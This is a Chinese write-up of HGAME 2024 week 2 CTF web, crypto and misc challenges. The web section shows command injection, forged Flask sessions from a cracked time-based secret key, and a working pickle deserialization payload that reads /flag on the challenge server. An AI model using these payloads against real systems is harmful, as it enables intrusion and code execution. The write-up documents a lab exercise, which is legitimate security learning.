HGAME 2024 WEEK2 WP

文章目录

    • WEB
      • What the cow say?
      • Select More Courses
      • myflask
    • Crypto
      • midRSA
      • midRSA revenge
      • backpack
      • backpack revenge
      • babyRSA
      • 奇怪的图片plus
    • MISC
      • 我要成为华容道高手
      • ek1ng_want_girlfriend
      • ezWord
      • 龙之舞

回老家了,初七晚上才回去,估计week3前几天不怎么能做咯

WEB

What the cow say?

反引号的命令执行,发现出现flag会被ban,cat会被ban,于是用tac,flag用f*

在这里插入图片描述

hgame{C0wsay_be_c4re_aB0ut_ComMand_Injecti0n}

Select More Courses

用字典爆破

在这里插入图片描述

qwert123

然后给出提示又是学分不够,要去扩学分。然后又是和week1一样搞不懂怎么的莫名就可以选了,不过看week1里面半分钟刷新一次,这次就在扩学分那里一直扩学分和enter按了二十多秒,再到选课界面就选上了。

在这里插入图片描述

myflask

import pickle
import base64
from flask import Flask, session, request, send_file
from datetime import datetime
from pytz import timezonecurrentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
currentTime = currentDateAndTime.strftime("%H%M%S")app = Flask(__name__)
# Tips: Try to crack this first ↓
app.config['SECRET_KEY'] = currentTime
print(currentTime)@app.route('/')
def index():session['username'] = 'guest'return send_file('app.py')@app.route('/flag', methods=['GET', 'POST'])
def flag():if not session:return 'There is no session available in your client :('if request.method == 'GET':return 'You are {} now'.format(session['username'])# For POST requests from adminif session['username'] == 'admin':pickle_data=base64.b64decode(request.form.get('pickle_data'))# Tips: Here try to trigger RCEuserdata=pickle.loads(pickle_data)return userdataelse:return 'Access Denied'if __name__=='__main__':app.run(debug=True, host="0.0.0.0")

知道key的范围了,搜CTF flask爆破secret_key

https://ctf.org.cn/2019/11/19/flask%E4%B8%ADsession%E7%9A%84%E9%82%A3%E4%BA%9B%E4%BA%8B/

找到工具Flask-Unsign

然后由于我自己指定密码本没有成功,去看了一下本子位置,发现需要引号

在这里插入图片描述

因此自己手动给密码本添加了一下时间的密码得到key,然后加密的时候要两层引号一起包起来,不知道为啥

在这里插入图片描述

改cookie去访问/flag

在这里插入图片描述

然后叫GPT帮我写个脚本

import pickle
import base64
from subprocess import check_outputclass ExecuteLS:def __reduce__(self):# 使用 check_output 来捕获命令的输出return (check_output, (('cat','/flag'),))# 创建恶意对象
mal_obj = ExecuteLS()# 序列化对象
pickle_data = pickle.dumps(mal_obj)# 编码为 Base64,以便在网络上传输
pickle_data_base64 = base64.b64encode(pickle_data)
print(pickle_data_base64)
# 然后,您可以将这个 base64 编码的字符串发送到服务器
# 假设服务器端的 Flask 视图函数正确处理了反序列化
# 并准备以字符串的形式返回命令的输出import requests# 服务器的 URL,例如 http://example.com/vulnerable-endpoint
url = 'http://106.14.57.14:31968/flag'# 构造 POST 请求的数据
data = {'pickle_data': pickle_data_base64.decode('utf-8')}# 发送请求
response = requests.post(url, cookies={"session":"eyJ1c2VybmFtZSI6ImFkbWluIn0.ZcSQuA.Bkt3FwfEei1xLjI0gBEb45oLjHQ"},data=data,)# 打印响应内容,看看是否成功执行了命令
print(response.text)

在这里插入图片描述

Crypto

midRSA

注意到m0=m>>208,return flag+b’\xff’*(64-len(flag))

既然说是非预期,猜测低位本身就不包含flag内容,把低位全补0

import libnum
m = 13292147408567087351580732082961640130543313742210409432471625281702327748963274496942276607
m0 = m << 208
print(libnum.n2s(m0))
#hgame{0ther_cas3s_0f_c0ppr3smith}

midRSA revenge


https://lazzzaro.github.io/2020/05/06/crypto-RSA/index.html文中的Coppersmith攻击(已知m的高位攻击)

用sage

#Sage
e = 5
n=27814334728135671995890378154778822687713875269624843122353458059697288888640572922486287556431241786461159513236128914176680497775619694684903498070577307810263677280294114135929708745988406963307279767028969515305895207028282193547356414827419008393701158467818535109517213088920890236300281646288761697842280633285355376389468360033584102258243058885174812018295460196515483819254913183079496947309574392848378504246991546781252139861876509894476420525317251695953355755164789878602945615879965709871975770823484418665634050103852564819575756950047691205355599004786541600213204423145854859214897431430282333052121
c=456221314115867088638207203034494636244706611111621723577848729096069230067958132663018625661447131501758684502639383208332844681939698124459188571813527149772292464139530736717619741704945926075632064072125361516435631121845753186559297993355270779818057702973783391589851159114029310296551701456748698914231344835187917559305440269560613326893204748127999254902102919605370363889581136724164096879573173870280806620454087466970358998654736755257023225078147018537101
mbar=0x6867616d657b633070707233736d6974685f537433726500000000000000000000000000000000L
kbits = 128
beta = 1
nbits = n.nbits()
print("upper {} bits of {} bits is given".format(nbits - kbits, nbits))
PR.<x> = PolynomialRing(Zmod(n))
f = (mbar + x)^e - c
x0 = f.small_roots(X=2^kbits, beta=1)[0]  # find root < 2^kbits with factor = n
print("m:", mbar + x0)
#3402789736593180236658155503802934243882633217001276110520820253391839278880462965966606922621

然后n2s即可得到flag为hgame{c0ppr3smith_St3re0typed_m3ssag3s}

backpack

考背包,不过又提示有非预期

注意到assert len(bin(p)[2:])==32,enc=bytes_to_long(flag)^p

我想的是知道p的范围去爆破p然后得到enc,不过又和上一题一样的问题

import libnum
m = 871114172567853490297478570113449366988793760172844644007566824913350088148162949968812541218339
print(libnum.n2s(m))
#hgame{M@ster_0f ba3kpack_m4nag3ment!}

backpack revenge

找脚本,首先找到解背包密码的LLL脚本:https://lazzzaro.github.io/2022/05/26/match-Dest0g3-520%E8%BF%8E%E6%96%B0%E8%B5%9B/

在这里插入图片描述

发现没有结果,输出了一下发现确实没有结果。把这个脚本带入到第一道题里面去,却能跑出来,说明脚本没问题

在这里插入图片描述

这里就开始考虑其他变形之类的,不懂这块就开搜:https://lazzzaro.github.io/2020/05/13/crypto-%E5%85%B6%E4%BB%96%E5%8A%A0%E5%AF%86%E7%AE%97%E6%B3%95/index.html

Knapsack,里面有解密脚本

#sagemath
from sage.all import *pk =  [74763079510261699126345525979, 51725049470068950810478487507, 47190309269514609005045330671, 64955989640650139818348214927, 68559937238623623619114065917, 72311339170112185401496867001, 70817336064254781640273354039, 70538108826539785774361605309, 43782530942481865621293381023, 58234328186578036291057066237, 68808271265478858570126916949, 61660200470938153836045483887, 63270726981851544620359231307, 42904776486697691669639929229, 41545637201787531637427603339, 74012839055649891397172870891, 56943794795641260674953676827, 51737391902187759188078687453, 49264368999561659986182883907, 60044221237387104054597861973, 63847046350260520761043687817, 62128146699582180779013983561, 65109313423212852647930299981, 66825635869831731092684039351, 67763265147791272083780752327, 61167844083999179669702601647, 55116015927868756859007961943, 52344488518055672082280377551, 52375877891942312320031803919, 69659035941564119291640404791, 52563282085178646767814382889, 56810627312286420494109192029, 49755877799006889063882566549, 43858901672451756754474845193, 67923743615154983291145624523, 51689455514728547423995162637, 67480131151707155672527583321, 59396212248330580072184648071, 63410528875220489799475249207, 48011409288550880229280578149, 62561969260391132956818285937, 44826158664283779410330615971, 70446218759976239947751162051, 56509847379836600033501942537, 50154287971179831355068443153, 49060507116095861174971467149, 54236848294299624632160521071, 64186626428974976108467196869]
ct =  1202548196826013899006527314947
print(ct)
print(len(pk))
n = len(pk)# Sanity check for application of low density attack
d = n / log(max(pk), 2)
print(CDF(d))
assert CDF(d) < 0.9408M = Matrix.identity(n) * 2last_row = [1 for x in pk]
M_last_row = Matrix(ZZ, 1, len(last_row), last_row)last_col = pk
last_col.append(ct)
M_last_col = Matrix(ZZ, len(last_col), 1, last_col)M = M.stack(M_last_row)
M = M.augment(M_last_col)X = M.BKZ()sol = []
for i in range(n + 1):testrow = X.row(i).list()[:-1]if set(testrow).issubset([-1, 1]):for v in testrow:if v == 1:sol.append(0)elif v == -1:sol.append(1)breaks = sol
print(s)
1202548196826013899006527314947
48
0.5004362519031288
[1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1]

试了一下顺着拼下面输出的结果,为空,那应该是反过来的

print(int("111101000010110101010001010011000111000100100001",2))
#268475474669857

由于过年平台暂停提交flag,只能自己验证一下了

a = [74763079510261699126345525979, 51725049470068950810478487507, 47190309269514609005045330671, 64955989640650139818348214927, 68559937238623623619114065917, 72311339170112185401496867001, 70817336064254781640273354039, 70538108826539785774361605309, 43782530942481865621293381023, 58234328186578036291057066237, 68808271265478858570126916949, 61660200470938153836045483887, 63270726981851544620359231307, 42904776486697691669639929229, 41545637201787531637427603339, 74012839055649891397172870891, 56943794795641260674953676827, 51737391902187759188078687453, 49264368999561659986182883907, 60044221237387104054597861973, 63847046350260520761043687817, 62128146699582180779013983561, 65109313423212852647930299981, 66825635869831731092684039351, 67763265147791272083780752327, 61167844083999179669702601647, 55116015927868756859007961943, 52344488518055672082280377551, 52375877891942312320031803919, 69659035941564119291640404791, 52563282085178646767814382889, 56810627312286420494109192029, 49755877799006889063882566549, 43858901672451756754474845193, 67923743615154983291145624523, 51689455514728547423995162637, 67480131151707155672527583321, 59396212248330580072184648071, 63410528875220489799475249207, 48011409288550880229280578149, 62561969260391132956818285937, 44826158664283779410330615971, 70446218759976239947751162051, 56509847379836600033501942537, 50154287971179831355068443153, 49060507116095861174971467149, 54236848294299624632160521071, 64186626428974976108467196869]p = 268475474669857
bag=0
for i in a:temp=p%2bag+=temp*ip=p>>1print(f'a={a}')
print(f'bag={bag}')

在这里插入图片描述

好哦

在这里插入图片描述

hgame{04b1d0b0fb805a70cda94348ec5a33f900d4fd5e9c45e765161c434fa0a49991}

babyRSA

首先求解e+114514+p**k

p=14213355454944773291
gift=9751789326354522940
e = 0x10001
e_new = pow(gift, pow(e, -1, p-1), p)
print(e_new)
#188075

由于p**k大于188075,易得e = 188075-114514 = 73561

测试发现e和phi不互素且e为质数,phi是e的倍数。考虑AMM,当然我是不懂的,这里是靠搜搜到的(评论区)https://www.bilibili.com/read/cv13437297/

https://lazzzaro.github.io/2020/05/06/crypto-RSA/index.html

找到AMM有关脚本,依旧是sage

#脚本1
#Sage
e = 73561
p=14213355454944773291
q=61843562051620700386348551175371930486064978441159200765618339743764001033297
c=105002138722466946495936638656038214000043475751639025085255113965088749272461906892586616250264922348192496597986452786281151156436229574065193965422841for mp in GF(p)(c).nth_root(e, all=True):for mq in GF(q)(c).nth_root(e, all=True):m = crt([ZZ(mp), ZZ(mq)], [p, q])try:res = bytes.fromhex(hex(m)[2:])if res.isascii():print(res)except:pass

hgame{Ad1eman_Mand3r_Mi11er_M3th0d}

奇怪的图片plus

在做完华容道之后的那天晚上,对着这道题先是发了一会的呆,一直把server里的check_pixels函数搞错了,我在想为什么xy又要等于黑色又不等于黑色

在第4天的下午,刷完一个两小时的沙雕动画之后,寻思来看会题,一下就解决了之前那个问题,也找到了解题的关键点

和week的图片一样,考点貌似并不是crypto哦,怎么不移到misc里

题目给了三个python文件和两个图片文件。其中encryption.py是flag.png加密的文件

server.pyclient.py是与服务器交互用的

简单看一下client.pyserver.py的作用

import websocket
import re
from PIL import Image
import struct
import threadingdef image_to_bytes(image):width, height = image.sizepixel_bytes = []for y in range(height):for x in range(width):pixel = image.getpixel((x, y))pixel_bytes.extend(struct.pack('BBB', *pixel))image_bytes = bytes(pixel_bytes)return image_bytesdef handle_input(ws):try:while True:message = input()if message.lower() == 'exit':ws.close()breakelif message.lower() == 'help':print("send_img: send_img <path_to_img_1> <path_to_img_2>")print("check: check")print("help: help")print("exit: exit")elif message[:8] == 'send_img':try:pattern = re.compile(r'\s(.*?)\s(.*?)$')match = pattern.search(message)if match:path_1 = match.group(1)path_2 = match.group(2)image_1 = Image.open(path_1)image_2 = Image.open(path_2)ws.send_binary(b"B1" + image_1.width.to_bytes(4, "big") + image_1.height.to_bytes(4, "big") + image_to_bytes(image_1))ws.send_binary(b"B2" + image_2.width.to_bytes(4, "big") + image_2.height.to_bytes(4, "big") + image_to_bytes(image_2))else:raise FileNotFoundError("Command format error")except FileNotFoundError as err:print(err)elif message == 'check':ws.send_binary(b"B3")except websocket.WebSocketException as err:print(err)def handle_recv(ws):try:while True:msg = ws.recv()print("Msg from server: {}".format(msg))except websocket.WebSocketException as err:print(err)def main():# uri = "ws://localhost:10002"uri = input("input uri: ")print("type 'help' to get help")ws = websocket.create_connection(uri)input_thread = threading.Thread(target=handle_input, args=(ws,), daemon=True)recv_thread = threading.Thread(target=handle_recv, args=(ws,), daemon=True)recv_thread.start()input_thread.start()recv_thread.join()input_thread.join()if __name__ == "__main__":main()

能够注意到client.py是用于连接至服务器并发送图片进行验证的,主要内容并不在这里,看server.py

import asyncio
import os
import websockets
from PIL import Image
import struct
from Crypto.Cipher import AES
from Crypto.Util.Padding import padgift = b''.hex() # hide here
pos_list = [] # hide heredef bytes_to_image(image_bytes, width, height):pixel_bytes = list(image_bytes)reconstructed_image = Image.new('RGB', (width, height))for y in range(height):for x in range(width):start = (y * width + x) * 3pixel = struct.unpack('BBB', bytes(pixel_bytes[start:start + 3]))reconstructed_image.putpixel((x, y), pixel)return reconstructed_imagedef xor_images(image1, image2):if image1.size != image2.size:raise ValueError("Images must have the same dimensions")xor_image = Image.new("RGB", image1.size)pixels1 = image1.load()pixels2 = image2.load()xor_pixels = xor_image.load()for x in range(image1.size[0]):for y in range(image1.size[1]):r1, g1, b1 = pixels1[x, y]r2, g2, b2 = pixels2[x, y]xor_pixels[x, y] = (r1 ^ r2, g1 ^ g2, b1 ^ b2)return xor_imagedef check_pixels(image, positions):pixels = image.load()count = 0for x in range(image.size[0]):for y in range(image.size[1]):if (x, y) in positions:if pixels[x, y] != (0, 0, 0):return Falseelse:if pixels[x, y] == (0, 0, 0):count += 1if count == 10:return Falsereturn Trueasync def handle_client(websocket):await websocket.send("Pls send two images that meet the following conditions")await websocket.send("The black pixels in 'xor_images(image_1, image_2)' should match those in 'target'")await websocket.send("Note: The server has scaling function during validation! XD")image_1, image_2 = None, Noneimage_1_w, image_1_h, image_2_w, image_2_h = 0, 0, 0, 0async for message_raw in websocket:try:if message_raw[:2] == b"B1":image_1_w = int.from_bytes(message_raw[2:6], "big")image_1_h = int.from_bytes(message_raw[6:10], "big")image_1 = message_raw[6:]await websocket.send("Image_1 received")elif message_raw[:2] == b"B2":image_2_w = int.from_bytes(message_raw[2:6], "big")image_2_h = int.from_bytes(message_raw[6:10], "big")image_2 = message_raw[6:]await websocket.send("Image_2 received")elif message_raw[:2] == b"B3":if image_1 and image_2:F = AES.new(key=os.urandom(16), mode=AES.MODE_ECB)image_1_encrypted = bytes_to_image(F.encrypt(pad(image_1, F.block_size)), image_1_w, image_1_h)image_2_encrypted = bytes_to_image(F.encrypt(pad(image_2, F.block_size)), image_2_w, image_2_h)xor_image = xor_images(image_1_encrypted, image_2_encrypted)xor_image = xor_image.resize((16, 9), Image.NEAREST)xor_image.show()if check_pixels(xor_image, pos_list):await websocket.send("Here is your gift: {}".format(gift))else:await websocket.send("Verification failed")else:await websocket.send("Pls send two images first!!")except ValueError as err:await websocket.send(err)async def main():server = await websockets.serve(handle_client, "localhost", 10002)await server.wait_closed()asyncio.run(main())

直接看与解题有关的handle_client()函数

接受传入的两张图片的像素值的bytes(在client.pyimage_to_bytes中),然后通过AES_ECB的方式对bytes进行加密,再把两组加密后的bytes恢复成图片,对恢复的两张图片进行异或操作之后,采用近邻法的方式缩小图片为(16,9)得到。然后与target.png图片进行比对

要求是:

target.png为黑色的部分,xor_image的此处也必须为黑色

target.png为白色的部分,xor_image的此处只要不是黑色即可,容错次数是9次。

一直没注意到xor_image = xor_image.resize((16, 9), Image.NEAREST)采用的是NEAREST既然是近邻法那就好说多了,简单来说

在这里插入图片描述

不过横线部分在这张图里就算是相同的也没关系,因为在近邻之后得到的图依旧是取点(3,3),与其他值无关。但如果这张图从5,5–>3,3的话,在其他部分就也需要控制好取值来满足这个条件了。

那么现在,就是生成两张部分数据相同(满足近邻后值相同)其他部分随机的图片

测试的时候发现,每组的第16位会影响上一组加密的值,所以写脚本的时候要注意这一点

结果调了差不多一个小时,就是不对,刚回过去看代码,发现呃好像有点不对劲,server.py

image1和image2:message_raw[6:]

为啥是6:。。。

这意味着前面是多出来8个字节的,当时根本没注意到这个。总归不够细心+菜

from PIL import Image
import struct
import osdef bytes_to_image(image_bytes, width, height):pixel_bytes = list(image_bytes)reconstructed_image = Image.new('RGB', (width, height))for y in range(height):for x in range(width):start = (y * width + x) * 3pixel = struct.unpack('BBB', bytes(pixel_bytes[start:start + 3]))reconstructed_image.putpixel((x, y), pixel)return reconstructed_imagedef image_to_bytes(image):width, height = image.sizepixel_bytes = []for y in range(height):for x in range(width):pixel = image.getpixel((x, y))pixel_bytes.extend(struct.pack('BBB', *pixel))image_bytes = bytes(pixel_bytes)return image_bytespic1 = Image.new("RGB",(400,225),(255,255,255))
# pic1.save("xor1.png")
pic1_bytes = image_to_bytes(pic1)
array = []
array.append(pic1_bytes[:12])
for i in range(12,len(pic1_bytes), 16):array.append(pic1_bytes[i:i+16])target = Image.open("target.png")
w,h = target.size
pos_list = []
for i in range(h):for j in range(w):if(target.getpixel((j,i)) == (0,0,0)):pos_list.append((12+j*25,12+i*25))
print(pos_list)
xor_same_data = b"\x6d\x75\x6d\x75\x7a\x69\x5f\x6d\x75\x6d\x75\x7a\x69\x5f\x6d\x75"for pos in pos_list:pixel1 = (400*pos[1] + pos[0])*3pixel2 = (400*pos[1] + pos[0])*3+2pixel1_ind = (pixel1)//16pixel2_ind = (pixel2)//16if(pixel1_ind != pixel2_ind):array[pixel1_ind] = xor_same_dataarray[pixel2_ind] = xor_same_dataelse:array[pixel1_ind] = xor_same_datapic1_array = array.copy()
pic2_array = array.copy()
pic1_array[0] = os.urandom(12)
pic2_array[0] = os.urandom(12)
pic1_array[-1] = os.urandom(len(pic1_array[-1]))
pic2_array[-1] = os.urandom(len(pic2_array[-1]))for ar in range(1,len(pic1_array)-1):if(pic1_array[ar] != xor_same_data):pic1_array[ar] = os.urandom(16)
for ar in range(1,len(pic2_array)-1):if(pic2_array[ar] != xor_same_data):pic2_array[ar] = os.urandom(16)pic1_array = b"".join(pic1_array)
pic2_array = b"".join(pic2_array)
print(len(pic1_array),len(pic2_array))xor_pic1 = bytes_to_image(pic1_array,400,225)
xor_pic2 = bytes_to_image(pic2_array,400,225)
xor_pic1.save("xor_pic1.png")
xor_pic2.save("xor_pic2.png")

在这里插入图片描述

8693346e81fa05d8817fd2550455cdf6

接着去看encryption.py

发现就是用key和iv加密了flag,用的是OFB模式,这里倒是涉及到了密码的知识

搜了一下

在这里插入图片描述

既然已知背景是黑色的,则值为\x00.密文已知、key已知,可以恢复出第一组的值。但是第一组是什么呢?

在这里插入图片描述

由于ECB模式是直接进行加密操作,而OFB模式可以从图上看出还进行了一次异或操作

不过由于明文密文已知,这两异或之后得到的其实就是ECB的密文,则可以通过ECB解出iv

在这里插入图片描述

ee204de4050ad441ef778b2d2156198f6d

直接把encryption脚本改一下:

# flag = "hgame{fake_flag}"
# flag_image = Image.new("RGB", (200, 150), "black")
flag_image = Image.open("encrypted_flag.png")key = b'\x86\x93\x34\x6e\x81\xfa\x05\xd8\x81\x7f\xd2\x55\x04\x55\xcd\xf6'
iv = b'\xee\x20\x4d\xe4\x05\x0a\xd4\x41\xef\x77\x8b\x2d\x21\x56\x19\x8f'
F = AES.new(key=key, mode=AES.MODE_OFB, iv=iv)
s = image_to_bytes(flag_image)
print(s[:32].hex())
m = pad(image_to_bytes(flag_image), F.block_size)
c = F.decrypt(m)
encrypted_image = bytes_to_image(c, 200, 150)
encrypted_image.show()

在这里插入图片描述

hgame{1ad4_80cc_1fb2_be7c}

MISC

我要成为华容道高手

这题被hackbar搞了,找传参找了两个小时,早就早到了不过hackbar一直传过去都显示invalid,换bp才好的

注意到点击开始的时候访问/api/newgame,翻唯一的js文件找到,顺便往下找到传参

fetch('/api/submit/' + this.gameId, {method: 'POST',headers: {'Content-Type': 'application/json'},body: JSON.stringify(steps)}).then(function (res) {return res.json();}).then(function (data) {switch (data.status) {case "next":_this2.layout = data.game_stage.layout;break;case "win":alert(data.flag);break;case "lose":alert(data.msg);break;default:alert(data.status);}return 1;});

接着继续找steps

methods: {handleMove: function handleMove(direction, position) {var nextState = false;switch (direction) {case 1:nextState = _core2.default.moveUp(this.state, position);break;case 2:nextState = _core2.default.moveRight(this.state, position);break;case 3:nextState = _core2.default.moveDown(this.state, position);break;case 4:nextState = _core2.default.moveLeft(this.state, position);break;}if (nextState) {this.stepCount++; // 增加步骤计数this.steps.push({ // 保存当前步骤状态position: position,direction: direction});this.state = nextState;if (this.success) {this.$emit("success", this.steps);this.steps = [];}}}

得到传参内容为[{"position":n,"direction":m}]

手动用bp传一下发现是合理的

在这里插入图片描述

然后不仅游戏timeout了,我靶机也timeout了

接着去github上找一个项目,我找的是Klotski_Puzzle_Solver

看了下他的main,里面用了A星算法和DFS

刚开始改的脚本把DFS给注释掉了,结果一直过不了,后来搜了一下发现A星慢的很

于是这个项目把A星的部分注释掉

在这里插入图片描述

然后写个脚本即可,他是要10秒内玩10轮,我一直以为是每轮10秒呢

在这里插入图片描述

import requests
import json
import subprocess
import timedef Getgame(url):newgame = '/api/newgame'getgame = requests.get(url=url + newgame).textdata = json.loads(getgame)gameId, layout = data["gameId"], data["layout"]return gameId,layoutdef Submit(url,gameId,msg):headers = {'Pragma': 'no-cache','Cache-Control': 'no-cache','Upgrade-Insecure-Requests': '1','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36','Origin': url,'Content-Type': 'application/json','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7','Accept-Encoding': 'gzip, deflate','Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8','Connection': 'close',}submit = f'/api/submit/{gameId}'response = requests.post(url=url + submit, json=msg, headers=headers)return response.textdef solves(layout):layout = list(layout)after_layout = ['0']*20count = 2for i in range(len(layout)):if(layout[i] == '2'):after_layout[i] = '7'elif(layout[i] == '3'):after_layout[i] = str(count)after_layout[i+4] = str(count)count += 1elif(layout[i] == '4'):after_layout[i] = str(count)after_layout[i+1] = str(count)count += 1elif(layout[i] == '5'):after_layout[i] = '1'after_layout[i+1] = '1'after_layout[i+4] = '1'after_layout[i+5] = '1'after_layout = ''.join(after_layout)out = '\n'.join([after_layout[i:i + 4] for i in range(0, len(after_layout), 4)])f = open('puzzle.txt','w').write(out)st = time.time()command = ['python3', 'main.py', 'puzzle.txt', '1.txt', '2.txt']subprocess.run(command, capture_output=True, text=True)et = time.time()print(et - st)fans = open('1.txt','r').readlines()[1:]fans = ''.join(fans).split('\n\n')fans = [s.replace('\n', '') for s in fans][:-1]# print(fans)data = []for i in range(len(fans)-1):first = fans[i]next = fans[i+1]dif = []BIG,hor = False,Falsec = 0for j in range(20):if(first[j] == next[j]):passelse:dif.append(j)if(c == 0):if(int(first[j]) > int(next[j])):BIG = Trueif(first[j] == '2' or next[j] == '2'):hor = Truec += 114514if(len(dif) == 2 and dif[1] - dif[0] == 8):if(BIG):data.append({"position": dif[0], "direction": 3})else:data.append({"position": dif[1]-4, "direction": 1})elif(len(dif) == 2 and dif[1] - dif[0] == 4):if(BIG):data.append({"position": dif[0], "direction": 3})else:data.append({"position": dif[1], "direction": 1})elif(len(dif) == 2 and dif[1] - dif[0] == 2):if(BIG):data.append({"position": dif[0], "direction": 2})else:data.append({"position": dif[1]-1, "direction": 4})elif(len(dif) == 2 and dif[1] - dif[0] == 1):if(BIG):data.append({"position": dif[0], "direction": 2})else:data.append({"position": dif[1], "direction": 4})elif(len(dif) == 4 and dif[1] - dif[0] == 2):if(BIG):data.append({"position": dif[0], "direction": 2})else:data.append({"position": dif[1]-1, "direction": 4})elif(len(dif) == 4 and (dif[1] - dif[0] == 1 and dif[2] - dif[0] == 8)):if(BIG):data.append({"position": dif[0], "direction": 3})else:data.append({"position": dif[0]+4, "direction": 1})elif (len(dif) == 4 and (dif[1] - dif[0] == 1 and dif[2] - dif[0] == 4)):if (BIG):if(hor):data.append({"position": dif[0], "direction": 3})else:data.append({"position": dif[0], "direction": 2})else:if(hor):data.append({"position": dif[2], "direction": 1})else:data.append({"position": dif[1], "direction": 4})# print(data)return dataif __name__ == "__main__":while True:try:url = "http://47.100.137.175:31139"gameId, layout = Getgame(url)print(gameId,layout)answer = solves(layout)for i in range(100):data = Submit(url,gameId,answer)if('hgame' in str(data) or "flag" in str(data)):print(data)exit()data = json.loads(data)print(data)layout = data["game_stage"]["layout"]answer = solves(layout)except:pass

ek1ng_want_girlfriend

导出对象—HTTP,看图片

在这里插入图片描述

ezWord

由于重装了电脑,做的时候发现cv2报错出问题了,赶紧当场安了一个pip3 install opencv-python install "opencv-python-headless<4.3" hhh

docx改zip解压,找到word\media,里面提示双图隐写作为压缩包密码,压缩包需要解两层

用BlindWaterMark,python3的

在这里插入图片描述

得到key为T1hi3sI4sKey

在这里插入图片描述

做过的都知道这是垃圾邮件编码的,没做过的小伙伴可以把第一行拿到google去搜即可

https://spammimic.com/

在这里插入图片描述

得到籱籰籪籶籮粄簹籴籨粂籸籾籨籼簹籵籿籮籨籪籵簺籨籽籱簼籨籼籮籬类簼籽粆

盲猜unicode encode之后的hex直接转在这里插入图片描述

猜对了一半,转后面的字节

在这里插入图片描述

开头6个和hgame{做异或和加减的时候,发现差为9

s1 = '71 70 6a 76 6e 84 39 74 68 82 78 7e 68 7c 39 75 7f 6e 68 6a 75 3a 68 7d 71 3c 68 7c 6e 6c 7b 3c 7d 86'.split()
s2 = 'hgame{'
for i in range(len(s1)):print(chr(int(s1[i],16)-9),end='')
#hgame{0k_you_s0lve_al1_th3_secr3t}

龙之舞

这题又浪费了差不多二三十分钟,啧

在这里插入图片描述

频谱开头不对劲,调一下最高的频率

在这里插入图片描述

上下翻转

在这里插入图片描述

5H8w1nlWCX3hQLG

题目提示deepsound

在这里插入图片描述

解出来龙之舞.gif,用gifFrame分离一下每一帧

发现52,120,152,231各有二维码的一角

手动用画图拼接

在这里插入图片描述

直接扫扫不出来

在这里插入图片描述

试一下改掩码,目前是Q1

改到Q4发现出了一部分

在这里插入图片描述

然后改到M4获得完整的flag

在这里插入图片描述
hgame{drag0n_1s_d4nc1ng}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/683670.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

类加载过程介绍

一、类的生命周期 类被加载到jvm虚拟机内存开始&#xff0c;到卸载出内存为止&#xff0c;他的生命周期可以分为&#xff1a;加载->验证->准备->解析->初始化->使用->卸载。 其中验证、准备、解析统一称为链接阶段 1、加载 将类的字节码载入方法区中&#xf…

docker (一)-简介

1.什么是docker Docker 是一个开源的应用容器引擎&#xff0c;由于docker影响巨大&#xff0c;今天也用"Docker" 指代容器化技术。 2.docker的优势 一键部署&#xff0c;开箱即用 容器使用基于image镜像的部署模式&#xff0c;image中包含了运行应用程序所需的一…

Selenium实战教程系列(二)---元素定位

Selenium webdriver能够模拟人对浏览器进行操作的前提是界面元素的定位。元素的定位可以说是Selenium自动化脚本的基础。这一小节笔者将介绍如何在selenium中进行元素的定位。 定位元素的方法 Selenium中提供了以下定位元素的方法&#xff1a; 首先看一个HTML文件 test_page.…

(14)Hive调优——合并小文件

目录 一、小文件产生的原因 二、小文件的危害 三、小文件的解决方案 3.1 小文件的预防 3.1.1 减少Map数量 3.1.2 减少Reduce的数量 3.2 已存在的小文件合并 3.2.1 方式一&#xff1a;insert overwrite (推荐) 3.2.2 方式二&#xff1a;concatenate 3.2.3 方式三&#xff…

OpenMVG(特征匹配、照片组重建点云、GPS位置信息、GMS)

目录 1 图像的特征匹配 2 图像中提取GPS位置信息 2.1 写入GPS信息到图像中 2.2 读取带有GPS的图像 3 SIFT/AKAZE/AKAZE_MLDB特征提取对比 4 GMS Filter 5 将球形全景图转换为6个透视视图 6 照片组重建点云 1 图像的特征匹配 #include "openMVG/features/feature.…

Python面向对象学习小记——面向过程VS面向对象

【面向过程就好比你是一个工人&#xff0c;你得亲自去做一个个任务 面向对象就好比你一个包工头&#xff0c;你可以差遣你下面的工人去做】

【网站项目】228高校教师电子名片系统

&#x1f64a;作者简介&#xff1a;拥有多年开发工作经验&#xff0c;分享技术代码帮助学生学习&#xff0c;独立完成自己的项目或者毕业设计。 代码可以私聊博主获取。&#x1f339;赠送计算机毕业设计600个选题excel文件&#xff0c;帮助大学选题。赠送开题报告模板&#xff…

PowerShell搭建vue起始项目

Windows PowerShell搭建vue起始项目 搜索PowerShell,以管理员身份运行。 复制文件夹路径 cd 到这个文件夹位置 命令行创建项目&#xff1a;vue create 项目名 这里写自己的项目名就行&#xff0c;我写的yeb vue create yeb 创建成功后是这样的 有颜色的就是选中的&#xff…

“恶意提起知识产权诉讼行为的法律规制”主题研讨活动成功举办

随着我国社会经济的迅速发展以及创新型国家、知识产权强国建设的不断深入,知识产权在社会生活中正发挥着越来越重要的作用。特别是对于广大市场主体而言,知识产权已经不仅是一种私权利,更成为商业竞争中非常重要的一种手段,由此引发了大量的知识产权诉讼纠纷。此类纠纷中,既有权…

C++ new 和 malloc 的区别?

相关系列文章 C new 和 malloc 的区别&#xff1f; C内存分配策略​​​​​​​ 目录 1.引言 2.区别 2.1.申请的内存分配区域 2.2.类型安全和自动大小计算 2.3.构造函数和析构函数的调用 2.4.异常处理 2.5.配对简便性 2.6.new 的重载 2.7.关键字和操作符 3.总结 1.引…

HACKTHEBOX通关笔记——mango(退役)

